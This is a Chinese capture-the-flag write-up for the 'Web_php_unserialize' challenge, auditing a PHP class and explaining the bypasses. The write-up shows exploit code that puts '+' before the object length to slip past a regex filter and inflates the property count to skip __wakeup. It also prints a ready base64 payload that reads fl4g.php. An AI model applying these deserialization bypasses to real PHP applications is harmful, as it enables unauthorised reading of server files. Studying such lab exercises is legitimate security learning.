当前位置: 首页 > article >正文

Web_php_unserialize

代码审计

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }、
//接收一个参数 $file 并赋值给私有属性 $file

    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
//在对象销毁时调用,使用 highlight_file 函数显示 $file 指定的文件内容

    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
//在反序列化时自动调用。如果 $file 不是 'index.php',则将其重置为 'index.php'

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); //检查是否存在 $_GET['var'] 参数,如果存在,对其进行 Base64 解码
    if (preg_match('/[oc]:\d+:/i', $var)) { //使用 preg_match 检查解码后的字符串是否包含 PHP 对象的序列化标识,防止对象注入攻击
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); //显示index.php 文件内容
} 
?>

显示flag在fl4g.php里面

思路在绕过干扰函数同时,var传参fl4g.php执行该代码的highlight_file函数

绕过base64_decode函数,进行base64编码

<?php
// 构造一个对象,这个对象会被反序列化后,将 $file 设置为 'fl4g.php'
class Demo {
    private $file = 'index.php';

    public function __construct($file) {
        $this->file = $file;
    }

    public function __destruct() {
        echo @highlight_file($this->file, true);
    }

    public function __wakeup() {
        if ($this->file != 'index.php') {
            $this->file = 'fl4g.php';  // 这里直接设置 file 为 fl4g.php
        }
    }
}

// 构造一个合法的序列化对象字符串,并且 Base64 编码
$object = new Demo('evil.php');
$serialized = serialize($object);
$base64_encoded = base64_encode($serialized);

// 输出可以使用的 URL 参数
echo 'Payload: ' . urlencode($base64_encoded);
?>

选择构造一个合适的序列化对象的字符串不太行 

参考了大佬的方法 

在反序列化串的O:前加个加号“+”,绕过

修改反序列化串的对象属性个数(一般大于原个数),绕过wakeup函数

<?php
class Demo { 
    private $file = 'fl4g.php';
}
$a = serialize(new Demo);
$a = str_replace('O:4', 'O:+4',$a);       //绕过preg_match()函数
$a = str_replace(':1:', ':2:',$a);        //绕过__wakeup()函数
echo base64_encode($a);                   //绕过解码函数
?>

最后得到可以使用的base64编码:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

构造payload拿到flag:


http://www.kler.cn/a/529028.html

相关文章:

  • 基于VMware的ubuntu与vscode建立ssh连接
  • Cubemx文件系统挂载多设备
  • Python从零构建macOS状态栏应用(仿ollama)并集成AI同款流式聊天 API 服务(含打包为独立应用)
  • cpp实战项目—string类的模拟实现
  • TypeScript 运算符
  • 神经网络的数据流动过程(张量的转换和输出)
  • 代码随想录-训练营-day16
  • MongoDB 删除文档
  • DeepSeek回答禅宗三重境界重构交易认知
  • 项目集成Spring Security认证部分
  • 深入解析 C++ 字符串处理:提取和分割的多种方法
  • 14JavaWeb——SpringBoot原理
  • JWT入门
  • JAVA实战开源项目:甘肃非物质文化网站(Vue+SpringBoot) 附源码
  • leetcode——验证二叉搜索树(java)
  • 17.2 图形绘制6
  • Spring的应用场景和优势
  • Signature
  • 数据结构(栈结构之顺序栈操作实现一)
  • C++ 字母大小写转换两种方法统计数字字符的个数
  • 【股票数据API接口47】如何获取股票指历史分时KDJ数据之Python、Java等多种主流语言实例代码演示通过股票数据接口获取数据
  • 远程连接-简化登录
  • 进程控制-前篇
  • OpenCV:SURF、OBR特征检测
  • IS-IS 数据包类型 | 实验
  • TCL C++开发面试题及参考答案